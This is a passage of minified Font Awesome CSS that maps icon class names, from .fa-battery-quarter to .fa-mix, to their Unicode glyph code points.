.fa-battery-quarter:before { content: "\f243"; } .fa-battery-three-quarters:before { content: "\f241"; } .fa-battle-net:before { content: "\f835"; } .fa-bed:before { content: "\f236"; } .fa-beer:before { content: "\f0fc"; } .fa-behance:before { content: "\f1b4"; } .fa-behance-square:before { content: "\f1b5"; } .fa-bell:before { content: "\f0f3"; } .fa-bell-slash:before { content: "\f1f6"; } .fa-bezier-curve:before { content: "\f55b"; } .fa-bible:before { content: "\f647"; } .fa-bicycle:before { content: "\f206"; } .fa-biking:before { content: "\f84a"; } .fa-bimobject:before { content: "\f378"; } .fa-binoculars:before { content: "\f1e5"; } .fa-biohazard:before { content: "\f780"; } .fa-birthday-cake:before { content: "\f1fd"; } .fa-bitbucket:before { content: "\f171"; } .fa-bitcoin:before { content: "\f379"; } .fa-bity:before { content: "\f37a"; } .fa-black-tie:before { content: "\f27e"; } .fa-blackberry:before { content: "\f37b"; } .fa-blender:before { content: "\f517"; } .fa-blender-phone:before { content: "\f6b6"; } .fa-blind:before { content: "\f29d"; } .fa-blog:before { content: "\f781"; } .fa-blogger:before { content: "\f37c"; } .fa-blogger-b:before { content: "\f37d"; } .fa-bluetooth:before { content: "\f293"; } .fa-bluetooth-b:before { content: "\f294"; } .fa-bold:before { content: "\f032"; } .fa-bolt:before { content: "\f0e7"; } .fa-bomb:before { content: "\f1e2"; } .fa-bone:before { content: "\f5d7"; } .fa-bong:before { content: "\f55c"; } .fa-book:before { content: "\f02d"; } .fa-book-dead:before { content: "\f6b7"; } .fa-book-medical:before { content: "\f7e6"; } .fa-book-open:before { content: "\f518"; } .fa-book-reader:before { content: "\f5da"; } .fa-bookmark:before { content: "\f02e"; } .fa-bootstrap:before { content: "\f836"; } .fa-border-all:before { content: "\f84c"; } .fa-border-none:before { content: "\f850"; } .fa-border-style:before { content: "\f853"; } .fa-bowling-ball:before { content: "\f436"; } .fa-box:before { content: "\f466"; } .fa-box-open:before { content: "\f49e"; } .fa-boxes:before { content: "\f468"; } .fa-braille:before { content: "\f2a1"; } .fa-brain:before { content: "\f5dc"; } .fa-bread-slice:before { content: "\f7ec"; } .fa-briefcase:before { content: "\f0b1"; } .fa-briefcase-medical:before { content: "\f469"; } .fa-broadcast-tower:before { content: "\f519"; } .fa-broom:before { content: "\f51a"; } .fa-brush:before { content: "\f55d"; } .fa-btc:before { content: "\f15a"; } .fa-buffer:before { content: "\f837"; } .fa-bug:before { content: "\f188"; } .fa-building:before { content: "\f1ad"; } .fa-bullhorn:before { content: "\f0a1"; } .fa-bullseye:before { content: "\f140"; } .fa-burn:before { content: "\f46a"; } .fa-buromobelexperte:before { content: "\f37f"; } .fa-bus:before { content: "\f207"; } .fa-bus-alt:before { content: "\f55e"; } .fa-business-time:before { content: "\f64a"; } .fa-buysellads:before { content: "\f20d"; } .fa-calculator:before { content: "\f1ec"; } .fa-calendar:before { content: "\f133"; } .fa-calendar-alt:before { content: "\f073"; } .fa-calendar-check:before { content: "\f274"; } .fa-calendar-day:before { content: "\f783"; } .fa-calendar-minus:before { content: "\f272"; } .fa-calendar-plus:before { content: "\f271"; } .fa-calendar-times:before { content: "\f273"; } .fa-calendar-week:before { content: "\f784"; } .fa-camera:before { content: "\f030"; } .fa-camera-retro:before { content: "\f083"; } .fa-campground:before { content: "\f6bb"; } .fa-canadian-maple-leaf:before { content: "\f785"; } .fa-candy-cane:before { content: "\f786"; } .fa-cannabis:before { content: "\f55f"; } .fa-capsules:before { content: "\f46b"; } .fa-car:before { content: "\f1b9"; } .fa-car-alt:before { content: "\f5de"; } .fa-car-battery:before { content: "\f5df"; } .fa-car-crash:before { content: "\f5e1"; } .fa-car-side:before { content: "\f5e4"; } .fa-caret-down:before { content: "\f0d7"; } .fa-caret-left:before { content: "\f0d9"; } .fa-caret-right:before { content: "\f0da"; } .fa-caret-square-down:before { content: "\f150"; } .fa-caret-square-left:before { content: "\f191"; } .fa-caret-square-right:before { content: "\f152"; } .fa-caret-square-up:before { content: "\f151"; } .fa-caret-up:before { content: "\f0d8"; } .fa-carrot:before { content: "\f787"; } .fa-cart-arrow-down:before { content: "\f218"; } .fa-cart-plus:before { content: "\f217"; } .fa-cash-register:before { content: "\f788"; } .fa-cat:before { content: "\f6be"; } .fa-cc-amazon-pay:before { content: "\f42d"; } .fa-cc-amex:before { content: "\f1f3"; } .fa-cc-apple-pay:before { content: "\f416"; } .fa-cc-diners-club:before { content: "\f24c"; } .fa-cc-discover:before { content: "\f1f2"; } .fa-cc-jcb:before { content: "\f24b"; } .fa-cc-mastercard:before { content: "\f1f1"; } .fa-cc-paypal:before { content: "\f1f4"; } .fa-cc-stripe:before { content: "\f1f5"; } .fa-cc-visa:before { content: "\f1f0"; } .fa-centercode:before { content: "\f380"; } .fa-centos:before { content: "\f789"; } .fa-certificate:before { content: "\f0a3"; } .fa-chair:before { content: "\f6c0"; } .fa-chalkboard:before { content: "\f51b"; } .fa-chalkboard-teacher:before { content: "\f51c"; } .fa-charging-station:before { content: "\f5e7"; } .fa-chart-area:before { content: "\f1fe"; } .fa-chart-bar:before { content: "\f080"; } .fa-chart-line:before { content: "\f201"; } .fa-chart-pie:before { content: "\f200"; } .fa-check:before { content: "\f00c"; } .fa-check-circle:before { content: "\f058"; } .fa-check-double:before { content: "\f560"; } .fa-check-square:before { content: "\f14a"; } .fa-cheese:before { content: "\f7ef"; } .fa-chess:before { content: "\f439"; } .fa-chess-bishop:before { content: "\f43a"; } .fa-chess-board:before { content: "\f43c"; } .fa-chess-king:before { content: "\f43f"; } .fa-chess-knight:before { content: "\f441"; } .fa-chess-pawn:before { content: "\f443"; } .fa-chess-queen:before { content: "\f445"; } .fa-chess-rook:before { content: "\f447"; } .fa-chevron-circle-down:before { content: "\f13a"; } .fa-chevron-circle-left:before { content: "\f137"; } .fa-chevron-circle-right:before { content: "\f138"; } .fa-chevron-circle-up:before { content: "\f139"; } .fa-chevron-down:before { content: "\f078"; } .fa-chevron-left:before { content: "\f053"; } .fa-chevron-right:before { content: "\f054"; } .fa-chevron-up:before { content: "\f077"; } .fa-child:before { content: "\f1ae"; } .fa-chrome:before { content: "\f268"; } .fa-chromecast:before { content: "\f838"; } .fa-church:before { content: "\f51d"; } .fa-circle:before { content: "\f111"; } .fa-circle-notch:before { content: "\f1ce"; } .fa-city:before { content: "\f64f"; } .fa-clinic-medical:before { content: "\f7f2"; } .fa-clipboard:before { content: "\f328"; } .fa-clipboard-check:before { content: "\f46c"; } .fa-clipboard-list:before { content: "\f46d"; } .fa-clock:before { content: "\f017"; } .fa-clone:before { content: "\f24d"; } .fa-closed-captioning:before { content: "\f20a"; } .fa-cloud:before { content: "\f0c2"; } .fa-cloud-download-alt:before { content: "\f381"; } .fa-cloud-meatball:before { content: "\f73b"; } .fa-cloud-moon:before { content: "\f6c3"; } .fa-cloud-moon-rain:before { content: "\f73c"; } .fa-cloud-rain:before { content: "\f73d"; } .fa-cloud-showers-heavy:before { content: "\f740"; } .fa-cloud-sun:before { content: "\f6c4"; } .fa-cloud-sun-rain:before { content: "\f743"; } .fa-cloud-upload-alt:before { content: "\f382"; } .fa-cloudscale:before { content: "\f383"; } .fa-cloudsmith:before { content: "\f384"; } .fa-cloudversify:before { content: "\f385"; } .fa-cocktail:before { content: "\f561"; } .fa-code:before { content: "\f121"; } .fa-code-branch:before { content: "\f126"; } .fa-codepen:before { content: "\f1cb"; } .fa-codiepie:before { content: "\f284"; } .fa-coffee:before { content: "\f0f4"; } .fa-cog:before { content: "\f013"; } .fa-cogs:before { content: "\f085"; } .fa-coins:before { content: "\f51e"; } .fa-columns:before { content: "\f0db"; } .fa-comment:before { content: "\f075"; } .fa-comment-alt:before { content: "\f27a"; } .fa-comment-dollar:before { content: "\f651"; } .fa-comment-dots:before { content: "\f4ad"; } .fa-comment-medical:before { content: "\f7f5"; } .fa-comment-slash:before { content: "\f4b3"; } .fa-comments:before { content: "\f086"; } .fa-comments-dollar:before { content: "\f653"; } .fa-compact-disc:before { content: "\f51f"; } .fa-compass:before { content: "\f14e"; } .fa-compress:before { content: "\f066"; } .fa-compress-arrows-alt:before { content: "\f78c"; } .fa-concierge-bell:before { content: "\f562"; } .fa-confluence:before { content: "\f78d"; } .fa-connectdevelop:before { content: "\f20e"; } .fa-contao:before { content: "\f26d"; } .fa-cookie:before { content: "\f563"; } .fa-cookie-bite:before { content: "\f564"; } .fa-copy:before { content: "\f0c5"; } .fa-copyright:before { content: "\f1f9"; } .fa-couch:before { content: "\f4b8"; } .fa-cpanel:before { content: "\f388"; } .fa-creative-commons:before { content: "\f25e"; } .fa-creative-commons-by:before { content: "\f4e7"; } .fa-creative-commons-nc:before { content: "\f4e8"; } .fa-creative-commons-nc-eu:before { content: "\f4e9"; } .fa-creative-commons-nc-jp:before { content: "\f4ea"; } .fa-creative-commons-nd:before { content: "\f4eb"; } .fa-creative-commons-pd:before { content: "\f4ec"; } .fa-creative-commons-pd-alt:before { content: "\f4ed"; } .fa-creative-commons-remix:before { content: "\f4ee"; } .fa-creative-commons-sa:before { content: "\f4ef"; } .fa-creative-commons-sampling:before { content: "\f4f0"; } .fa-creative-commons-sampling-plus:before { content: "\f4f1"; } .fa-creative-commons-share:before { content: "\f4f2"; } .fa-creative-commons-zero:before { content: "\f4f3"; } .fa-credit-card:before { content: "\f09d"; } .fa-critical-role:before { content: "\f6c9"; } .fa-crop:before { content: "\f125"; } .fa-crop-alt:before { content: "\f565"; } .fa-cross:before { content: "\f654"; } .fa-crosshairs:before { content: "\f05b"; } .fa-crow:before { content: "\f520"; } .fa-crown:before { content: "\f521"; } .fa-crutch:before { content: "\f7f7"; } .fa-css3:before { content: "\f13c"; } .fa-css3-alt:before { content: "\f38b"; } .fa-cube:before { content: "\f1b2"; } .fa-cubes:before { content: "\f1b3"; } .fa-cut:before { content: "\f0c4"; } .fa-cuttlefish:before { content: "\f38c"; } .fa-d-and-d:before { content: "\f38d"; } .fa-d-and-d-beyond:before { content: "\f6ca"; } .fa-dashcube:before { content: "\f210"; } .fa-database:before { content: "\f1c0"; } .fa-deaf:before { content: "\f2a4"; } .fa-delicious:before { content: "\f1a5"; } .fa-democrat:before { content: "\f747"; } .fa-deploydog:before { content: "\f38e"; } .fa-deskpro:before { content: "\f38f"; } .fa-desktop:before { content: "\f108"; } .fa-dev:before { content: "\f6cc"; } .fa-deviantart:before { content: "\f1bd"; } .fa-dharmachakra:before { content: "\f655"; } .fa-dhl:before { content: "\f790"; } .fa-diagnoses:before { content: "\f470"; } .fa-diaspora:before { content: "\f791"; } .fa-dice:before { content: "\f522"; } .fa-dice-d20:before { content: "\f6cf"; } .fa-dice-d6:before { content: "\f6d1"; } .fa-dice-five:before { content: "\f523"; } .fa-dice-four:before { content: "\f524"; } .fa-dice-one:before { content: "\f525"; } .fa-dice-six:before { content: "\f526"; } .fa-dice-three:before { content: "\f527"; } .fa-dice-two:before { content: "\f528"; } .fa-digg:before { content: "\f1a6"; } .fa-digital-ocean:before { content: "\f391"; } .fa-digital-tachograph:before { content: "\f566"; } .fa-directions:before { content: "\f5eb"; } .fa-discord:before { content: "\f392"; } .fa-discourse:before { content: "\f393"; } .fa-divide:before { content: "\f529"; } .fa-dizzy:before { content: "\f567"; } .fa-dna:before { content: "\f471"; } .fa-dochub:before { content: "\f394"; } .fa-docker:before { content: "\f395"; } .fa-dog:before { content: "\f6d3"; } .fa-dollar-sign:before { content: "\f155"; } .fa-dolly:before { content: "\f472"; } .fa-dolly-flatbed:before { content: "\f474"; } .fa-donate:before { content: "\f4b9"; } .fa-door-closed:before { content: "\f52a"; } .fa-door-open:before { content: "\f52b"; } .fa-dot-circle:before { content: "\f192"; } .fa-dove:before { content: "\f4ba"; } .fa-download:before { content: "\f019"; } .fa-draft2digital:before { content: "\f396"; } .fa-drafting-compass:before { content: "\f568"; } .fa-dragon:before { content: "\f6d5"; } .fa-draw-polygon:before { content: "\f5ee"; } .fa-dribbble:before { content: "\f17d"; } .fa-dribbble-square:before { content: "\f397"; } .fa-dropbox:before { content: "\f16b"; } .fa-drum:before { content: "\f569"; } .fa-drum-steelpan:before { content: "\f56a"; } .fa-drumstick-bite:before { content: "\f6d7"; } .fa-drupal:before { content: "\f1a9"; } .fa-dumbbell:before { content: "\f44b"; } .fa-dumpster:before { content: "\f793"; } .fa-dumpster-fire:before { content: "\f794"; } .fa-dungeon:before { content: "\f6d9"; } .fa-dyalog:before { content: "\f399"; } .fa-earlybirds:before { content: "\f39a"; } .fa-ebay:before { content: "\f4f4"; } .fa-edge:before { content: "\f282"; } .fa-edit:before { content: "\f044"; } .fa-egg:before { content: "\f7fb"; } .fa-eject:before { content: "\f052"; } .fa-elementor:before { content: "\f430"; } .fa-ellipsis-h:before { content: "\f141"; } .fa-ellipsis-v:before { content: "\f142"; } .fa-ello:before { content: "\f5f1"; } .fa-ember:before { content: "\f423"; } .fa-empire:before { content: "\f1d1"; } .fa-envelope:before { content: "\f0e0"; } .fa-envelope-open:before { content: "\f2b6"; } .fa-envelope-open-text:before { content: "\f658"; } .fa-envelope-square:before { content: "\f199"; } .fa-envira:before { content: "\f299"; } .fa-equals:before { content: "\f52c"; } .fa-eraser:before { content: "\f12d"; } .fa-erlang:before { content: "\f39d"; } .fa-ethereum:before { content: "\f42e"; } .fa-ethernet:before { content: "\f796"; } .fa-etsy:before { content: "\f2d7"; } .fa-euro-sign:before { content: "\f153"; } .fa-evernote:before { content: "\f839"; } .fa-exchange-alt:before { content: "\f362"; } .fa-exclamation:before { content: "\f12a"; } .fa-exclamation-circle:before { content: "\f06a"; } .fa-exclamation-triangle:before { content: "\f071"; } .fa-expand:before { content: "\f065"; } .fa-expand-arrows-alt:before { content: "\f31e"; } .fa-expeditedssl:before { content: "\f23e"; } .fa-external-link-alt:before { content: "\f35d"; } .fa-external-link-square-alt:before { content: "\f360"; } .fa-eye:before { content: "\f06e"; } .fa-eye-dropper:before { content: "\f1fb"; } .fa-eye-slash:before { content: "\f070"; } .fa-facebook:before { content: "\f09a"; } .fa-facebook-f:before { content: "\f39e"; } .fa-facebook-messenger:before { content: "\f39f"; } .fa-facebook-square:before { content: "\f082"; } .fa-fan:before { content: "\f863"; } .fa-fantasy-flight-games:before { content: "\f6dc"; } .fa-fast-backward:before { content: "\f049"; } .fa-fast-forward:before { content: "\f050"; } .fa-fax:before { content: "\f1ac"; } .fa-feather:before { content: "\f52d"; } .fa-feather-alt:before { content: "\f56b"; } .fa-fedex:before { content: "\f797"; } .fa-fedora:before { content: "\f798"; } .fa-female:before { content: "\f182"; } .fa-fighter-jet:before { content: "\f0fb"; } .fa-figma:before { content: "\f799"; } .fa-file:before { content: "\f15b"; } .fa-file-alt:before { content: "\f15c"; } .fa-file-archive:before { content: "\f1c6"; } .fa-file-audio:before { content: "\f1c7"; } .fa-file-code:before { content: "\f1c9"; } .fa-file-contract:before { content: "\f56c"; } .fa-file-csv:before { content: "\f6dd"; } .fa-file-download:before { content: "\f56d"; } .fa-file-excel:before { content: "\f1c3"; } .fa-file-export:before { content: "\f56e"; } .fa-file-image:before { content: "\f1c5"; } .fa-file-import:before { content: "\f56f"; } .fa-file-invoice:before { content: "\f570"; } .fa-file-invoice-dollar:before { content: "\f571"; } .fa-file-medical:before { content: "\f477"; } .fa-file-medical-alt:before { content: "\f478"; } .fa-file-pdf:before { content: "\f1c1"; } .fa-file-powerpoint:before { content: "\f1c4"; } .fa-file-prescription:before { content: "\f572"; } .fa-file-signature:before { content: "\f573"; } .fa-file-upload:before { content: "\f574"; } .fa-file-video:before { content: "\f1c8"; } .fa-file-word:before { content: "\f1c2"; } .fa-fill:before { content: "\f575"; } .fa-fill-drip:before { content: "\f576"; } .fa-film:before { content: "\f008"; } .fa-filter:before { content: "\f0b0"; } .fa-fingerprint:before { content: "\f577"; } .fa-fire:before { content: "\f06d"; } .fa-fire-alt:before { content: "\f7e4"; } .fa-fire-extinguisher:before { content: "\f134"; } .fa-firefox:before { content: "\f269"; } .fa-first-aid:before { content: "\f479"; } .fa-first-order:before { content: "\f2b0"; } .fa-first-order-alt:before { content: "\f50a"; } .fa-firstdraft:before { content: "\f3a1"; } .fa-fish:before { content: "\f578"; } .fa-fist-raised:before { content: "\f6de"; } .fa-flag:before { content: "\f024"; } .fa-flag-checkered:before { content: "\f11e"; } .fa-flag-usa:before { content: "\f74d"; } .fa-flask:before { content: "\f0c3"; } .fa-flickr:before { content: "\f16e"; } .fa-flipboard:before { content: "\f44d"; } .fa-flushed:before { content: "\f579"; } .fa-fly:before { content: "\f417"; } .fa-folder:before { content: "\f07b"; } .fa-folder-minus:before { content: "\f65d"; } .fa-folder-open:before { content: "\f07c"; } .fa-folder-plus:before { content: "\f65e"; } .fa-font:before { content: "\f031"; } .fa-font-awesome:before { content: "\f2b4"; } .fa-font-awesome-alt:before { content: "\f35c"; } .fa-font-awesome-flag:before { content: "\f425"; } .fa-font-awesome-logo-full:before { content: "\f4e6"; } .fa-fonticons:before { content: "\f280"; } .fa-fonticons-fi:before { content: "\f3a2"; } .fa-football-ball:before { content: "\f44e"; } .fa-fort-awesome:before { content: "\f286"; } .fa-fort-awesome-alt:before { content: "\f3a3"; } .fa-forumbee:before { content: "\f211"; } .fa-forward:before { content: "\f04e"; } .fa-foursquare:before { content: "\f180"; } .fa-free-code-camp:before { content: "\f2c5"; } .fa-freebsd:before { content: "\f3a4"; } .fa-frog:before { content: "\f52e"; } .fa-frown:before { content: "\f119"; } .fa-frown-open:before { content: "\f57a"; } .fa-fulcrum:before { content: "\f50b"; } .fa-funnel-dollar:before { content: "\f662"; } .fa-futbol:before { content: "\f1e3"; } .fa-galactic-republic:before { content: "\f50c"; } .fa-galactic-senate:before { content: "\f50d"; } .fa-gamepad:before { content: "\f11b"; } .fa-gas-pump:before { content: "\f52f"; } .fa-gavel:before { content: "\f0e3"; } .fa-gem:before { content: "\f3a5"; } .fa-genderless:before { content: "\f22d"; } .fa-get-pocket:before { content: "\f265"; } .fa-gg:before { content: "\f260"; } .fa-gg-circle:before { content: "\f261"; } .fa-ghost:before { content: "\f6e2"; } .fa-gift:before { content: "\f06b"; } .fa-gifts:before { content: "\f79c"; } .fa-git:before { content: "\f1d3"; } .fa-git-alt:before { content: "\f841"; } .fa-git-square:before { content: "\f1d2"; } .fa-github:before { content: "\f09b"; } .fa-github-alt:before { content: "\f113"; } .fa-github-square:before { content: "\f092"; } .fa-gitkraken:before { content: "\f3a6"; } .fa-gitlab:before { content: "\f296"; } .fa-gitter:before { content: "\f426"; } .fa-glass-cheers:before { content: "\f79f"; } .fa-glass-martini:before { content: "\f000"; } .fa-glass-martini-alt:before { content: "\f57b"; } .fa-glass-whiskey:before { content: "\f7a0"; } .fa-glasses:before { content: "\f530"; } .fa-glide:before { content: "\f2a5"; } .fa-glide-g:before { content: "\f2a6"; } .fa-globe:before { content: "\f0ac"; } .fa-globe-africa:before { content: "\f57c"; } .fa-globe-americas:before { content: "\f57d"; } .fa-globe-asia:before { content: "\f57e"; } .fa-globe-europe:before { content: "\f7a2"; } .fa-gofore:before { content: "\f3a7"; } .fa-golf-ball:before { content: "\f450"; } .fa-goodreads:before { content: "\f3a8"; } .fa-goodreads-g:before { content: "\f3a9"; } .fa-google:before { content: "\f1a0"; } .fa-google-drive:before { content: "\f3aa"; } .fa-google-play:before { content: "\f3ab"; } .fa-google-plus:before { content: "\f2b3"; } .fa-google-plus-g:before { content: "\f0d5"; } .fa-google-plus-square:before { content: "\f0d4"; } .fa-google-wallet:before { content: "\f1ee"; } .fa-gopuram:before { content: "\f664"; } .fa-graduation-cap:before { content: "\f19d"; } .fa-gratipay:before { content: "\f184"; } .fa-grav:before { content: "\f2d6"; } .fa-greater-than:before { content: "\f531"; } .fa-greater-than-equal:before { content: "\f532"; } .fa-grimace:before { content: "\f57f"; } .fa-grin:before { content: "\f580"; } .fa-grin-alt:before { content: "\f581"; } .fa-grin-beam:before { content: "\f582"; } .fa-grin-beam-sweat:before { content: "\f583"; } .fa-grin-hearts:before { content: "\f584"; } .fa-grin-squint:before { content: "\f585"; } .fa-grin-squint-tears:before { content: "\f586"; } .fa-grin-stars:before { content: "\f587"; } .fa-grin-tears:before { content: "\f588"; } .fa-grin-tongue:before { content: "\f589"; } .fa-grin-tongue-squint:before { content: "\f58a"; } .fa-grin-tongue-wink:before { content: "\f58b"; } .fa-grin-wink:before { content: "\f58c"; } .fa-grip-horizontal:before { content: "\f58d"; } .fa-grip-lines:before { content: "\f7a4"; } .fa-grip-lines-vertical:before { content: "\f7a5"; } .fa-grip-vertical:before { content: "\f58e"; } .fa-gripfire:before { content: "\f3ac"; } .fa-grunt:before { content: "\f3ad"; } .fa-guitar:before { content: "\f7a6"; } .fa-gulp:before { content: "\f3ae"; } .fa-h-square:before { content: "\f0fd"; } .fa-hacker-news:before { content: "\f1d4"; } .fa-hacker-news-square:before { content: "\f3af"; } .fa-hackerrank:before { content: "\f5f7"; } .fa-hamburger:before { content: "\f805"; } .fa-hammer:before { content: "\f6e3"; } .fa-hamsa:before { content: "\f665"; } .fa-hand-holding:before { content: "\f4bd"; } .fa-hand-holding-heart:before { content: "\f4be"; } .fa-hand-holding-usd:before { content: "\f4c0"; } .fa-hand-lizard:before { content: "\f258"; } .fa-hand-middle-finger:before { content: "\f806"; } .fa-hand-paper:before { content: "\f256"; } .fa-hand-peace:before { content: "\f25b"; } .fa-hand-point-down:before { content: "\f0a7"; } .fa-hand-point-left:before { content: "\f0a5"; } .fa-hand-point-right:before { content: "\f0a4"; } .fa-hand-point-up:before { content: "\f0a6"; } .fa-hand-pointer:before { content: "\f25a"; } .fa-hand-rock:before { content: "\f255"; } .fa-hand-scissors:before { content: "\f257"; } .fa-hand-spock:before { content: "\f259"; } .fa-hands:before { content: "\f4c2"; } .fa-hands-helping:before { content: "\f4c4"; } .fa-handshake:before { content: "\f2b5"; } .fa-hanukiah:before { content: "\f6e6"; } .fa-hard-hat:before { content: "\f807"; } .fa-hashtag:before { content: "\f292"; } .fa-hat-wizard:before { content: "\f6e8"; } .fa-haykal:before { content: "\f666"; } .fa-hdd:before { content: "\f0a0"; } .fa-heading:before { content: "\f1dc"; } .fa-headphones:before { content: "\f025"; } .fa-headphones-alt:before { content: "\f58f"; } .fa-headset:before { content: "\f590"; } .fa-heart:before { content: "\f004"; } .fa-heart-broken:before { content: "\f7a9"; } .fa-heartbeat:before { content: "\f21e"; } .fa-helicopter:before { content: "\f533"; } .fa-highlighter:before { content: "\f591"; } .fa-hiking:before { content: "\f6ec"; } .fa-hippo:before { content: "\f6ed"; } .fa-hips:before { content: "\f452"; } .fa-hire-a-helper:before { content: "\f3b0"; } .fa-history:before { content: "\f1da"; } .fa-hockey-puck:before { content: "\f453"; } .fa-holly-berry:before { content: "\f7aa"; } .fa-home:before { content: "\f015"; } .fa-hooli:before { content: "\f427"; } .fa-hornbill:before { content: "\f592"; } .fa-horse:before { content: "\f6f0"; } .fa-horse-head:before { content: "\f7ab"; } .fa-hospital:before { content: "\f0f8"; } .fa-hospital-alt:before { content: "\f47d"; } .fa-hospital-symbol:before { content: "\f47e"; } .fa-hot-tub:before { content: "\f593"; } .fa-hotdog:before { content: "\f80f"; } .fa-hotel:before { content: "\f594"; } .fa-hotjar:before { content: "\f3b1"; } .fa-hourglass:before { content: "\f254"; } .fa-hourglass-end:before { content: "\f253"; } .fa-hourglass-half:before { content: "\f252"; } .fa-hourglass-start:before { content: "\f251"; } .fa-house-damage:before { content: "\f6f1"; } .fa-houzz:before { content: "\f27c"; } .fa-hryvnia:before { content: "\f6f2"; } .fa-html5:before { content: "\f13b"; } .fa-hubspot:before { content: "\f3b2"; } .fa-i-cursor:before { content: "\f246"; } .fa-ice-cream:before { content: "\f810"; } .fa-icicles:before { content: "\f7ad"; } .fa-icons:before { content: "\f86d"; } .fa-id-badge:before { content: "\f2c1"; } .fa-id-card:before { content: "\f2c2"; } .fa-id-card-alt:before { content: "\f47f"; } .fa-igloo:before { content: "\f7ae"; } .fa-image:before { content: "\f03e"; } .fa-images:before { content: "\f302"; } .fa-imdb:before { content: "\f2d8"; } .fa-inbox:before { content: "\f01c"; } .fa-indent:before { content: "\f03c"; } .fa-industry:before { content: "\f275"; } .fa-infinity:before { content: "\f534"; } .fa-info:before { content: "\f129"; } .fa-info-circle:before { content: "\f05a"; } .fa-instagram:before { content: "\f16d"; } .fa-intercom:before { content: "\f7af"; } .fa-internet-explorer:before { content: "\f26b"; } .fa-invision:before { content: "\f7b0"; } .fa-ioxhost:before { content: "\f208"; } .fa-italic:before { content: "\f033"; } .fa-itch-io:before { content: "\f83a"; } .fa-itunes:before { content: "\f3b4"; } .fa-itunes-note:before { content: "\f3b5"; } .fa-java:before { content: "\f4e4"; } .fa-jedi:before { content: "\f669"; } .fa-jedi-order:before { content: "\f50e"; } .fa-jenkins:before { content: "\f3b6"; } .fa-jira:before { content: "\f7b1"; } .fa-joget:before { content: "\f3b7"; } .fa-joint:before { content: "\f595"; } .fa-joomla:before { content: "\f1aa"; } .fa-journal-whills:before { content: "\f66a"; } .fa-js:before { content: "\f3b8"; } .fa-js-square:before { content: "\f3b9"; } .fa-jsfiddle:before { content: "\f1cc"; } .fa-kaaba:before { content: "\f66b"; } .fa-kaggle:before { content: "\f5fa"; } .fa-key:before { content: "\f084"; } .fa-keybase:before { content: "\f4f5"; } .fa-keyboard:before { content: "\f11c"; } .fa-keycdn:before { content: "\f3ba"; } .fa-khanda:before { content: "\f66d"; } .fa-kickstarter:before { content: "\f3bb"; } .fa-kickstarter-k:before { content: "\f3bc"; } .fa-kiss:before { content: "\f596"; } .fa-kiss-beam:before { content: "\f597"; } .fa-kiss-wink-heart:before { content: "\f598"; } .fa-kiwi-bird:before { content: "\f535"; } .fa-korvue:before { content: "\f42f"; } .fa-landmark:before { content: "\f66f"; } .fa-language:before { content: "\f1ab"; } .fa-laptop:before { content: "\f109"; } .fa-laptop-code:before { content: "\f5fc"; } .fa-laptop-medical:before { content: "\f812"; } .fa-laravel:before { content: "\f3bd"; } .fa-lastfm:before { content: "\f202"; } .fa-lastfm-square:before { content: "\f203"; } .fa-laugh:before { content: "\f599"; } .fa-laugh-beam:before { content: "\f59a"; } .fa-laugh-squint:before { content: "\f59b"; } .fa-laugh-wink:before { content: "\f59c"; } .fa-layer-group:before { content: "\f5fd"; } .fa-leaf:before { content: "\f06c"; } .fa-leanpub:before { content: "\f212"; } .fa-lemon:before { content: "\f094"; } .fa-less:before { content: "\f41d"; } .fa-less-than:before { content: "\f536"; } .fa-less-than-equal:before { content: "\f537"; } .fa-level-down-alt:before { content: "\f3be"; } .fa-level-up-alt:before { content: "\f3bf"; } .fa-life-ring:before { content: "\f1cd"; } .fa-lightbulb:before { content: "\f0eb"; } .fa-line:before { content: "\f3c0"; } .fa-link:before { content: "\f0c1"; } .fa-linkedin:before { content: "\f08c"; } .fa-linkedin-in:before { content: "\f0e1"; } .fa-linode:before { content: "\f2b8"; } .fa-linux:before { content: "\f17c"; } .fa-lira-sign:before { content: "\f195"; } .fa-list:before { content: "\f03a"; } .fa-list-alt:before { content: "\f022"; } .fa-list-ol:before { content: "\f0cb"; } .fa-list-ul:before { content: "\f0ca"; } .fa-location-arrow:before { content: "\f124"; } .fa-lock:before { content: "\f023"; } .fa-lock-open:before { content: "\f3c1"; } .fa-long-arrow-alt-down:before { content: "\f309"; } .fa-long-arrow-alt-left:before { content: "\f30a"; } .fa-long-arrow-alt-right:before { content: "\f30b"; } .fa-long-arrow-alt-up:before { content: "\f30c"; } .fa-low-vision:before { content: "\f2a8"; } .fa-luggage-cart:before { content: "\f59d"; } .fa-lyft:before { content: "\f3c3"; } .fa-magento:before { content: "\f3c4"; } .fa-magic:before { content: "\f0d0"; } .fa-magnet:before { content: "\f076"; } .fa-mail-bulk:before { content: "\f674"; } .fa-mailchimp:before { content: "\f59e"; } .fa-male:before { content: "\f183"; } .fa-mandalorian:before { content: "\f50f"; } .fa-map:before { content: "\f279"; } .fa-map-marked:before { content: "\f59f"; } .fa-map-marked-alt:before { content: "\f5a0"; } .fa-map-marker:before { content: "\f041"; } .fa-map-marker-alt:before { content: "\f3c5"; } .fa-map-pin:before { content: "\f276"; } .fa-map-signs:before { content: "\f277"; } .fa-markdown:before { content: "\f60f"; } .fa-marker:before { content: "\f5a1"; } .fa-mars:before { content: "\f222"; } .fa-mars-double:before { content: "\f227"; } .fa-mars-stroke:before { content: "\f229"; } .fa-mars-stroke-h:before { content: "\f22b"; } .fa-mars-stroke-v:before { content: "\f22a"; } .fa-mask:before { content: "\f6fa"; } .fa-mastodon:before { content: "\f4f6"; } .fa-maxcdn:before { content: "\f136"; } .fa-medal:before { content: "\f5a2"; } .fa-medapps:before { content: "\f3c6"; } .fa-medium:before { content: "\f23a"; } .fa-medium-m:before { content: "\f3c7"; } .fa-medkit:before { content: "\f0fa"; } .fa-medrt:before { content: "\f3c8"; } .fa-meetup:before { content: "\f2e0"; } .fa-megaport:before { content: "\f5a3"; } .fa-meh:before { content: "\f11a"; } .fa-meh-blank:before { content: "\f5a4"; } .fa-meh-rolling-eyes:before { content: "\f5a5"; } .fa-memory:before { content: "\f538"; } .fa-mendeley:before { content: "\f7b3"; } .fa-menorah:before { content: "\f676"; } .fa-mercury:before { content: "\f223"; } .fa-meteor:before { content: "\f753"; } .fa-microchip:before { content: "\f2db"; } .fa-microphone:before { content: "\f130"; } .fa-microphone-alt:before { content: "\f3c9"; } .fa-microphone-alt-slash:before { content: "\f539"; } .fa-microphone-slash:before { content: "\f131"; } .fa-microscope:before { content: "\f610"; } .fa-microsoft:before { content: "\f3ca"; } .fa-minus:before { content: "\f068"; } .fa-minus-circle:before { content: "\f056"; } .fa-minus-square:before { content: "\f146"; } .fa-mitten:before { content: "\f7b5"; } .fa-mix:before 